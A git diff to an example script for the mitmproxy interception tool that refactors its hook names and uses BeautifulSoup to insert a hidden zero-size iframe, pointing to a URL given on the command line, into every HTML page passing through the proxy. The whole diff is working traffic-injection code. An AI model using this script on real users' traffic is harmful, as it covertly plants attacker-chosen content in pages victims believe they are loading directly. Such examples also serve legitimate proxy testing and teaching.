1 files changed, 12 insertions, 8 deletions
diff --git a/examples/iframe_injector.py b/examples/iframe_injector.py
index 7042dbab..72563bed 100644
--- a/examples/iframe_injector.py
+++ b/examples/iframe_injector.py
@@ -1,18 +1,22 @@
 # Usage: mitmdump -s "iframe_injector.py url"
 # (this script works best with --anticache)
+from bs4 import BeautifulSoup
 from libmproxy.protocol.http import decoded
 
 
-def start(ctx, argv):
+def start(context, argv):
     if len(argv) != 2:
         raise ValueError('Usage: -s "iframe_injector.py url"')
-    ctx.iframe_url = argv[1]
+    context.iframe_url = argv[1]
 
 
-def handle_response(ctx, flow):
+def response(context, flow):
+    if flow.request.host in context.iframe_url:
+        return
     with decoded(flow.response):  # Remove content encoding (gzip, ...)
-        c = flow.response.replace(
-            '<body>',
-            '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % ctx.iframe_url)
-        if c > 0:
-            ctx.log("Iframe injected!")
-\ No newline at end of file
+        html = BeautifulSoup(flow.response.content)
+        if html.body:
+            iframe = html.new_tag("iframe", src=context.iframe_url, frameborder=0, height=0, width=0)
+            html.body.insert(0, iframe)
+            flow.response.content = str(html)
+            context.log("Iframe inserted.")
+\ No newline at end of file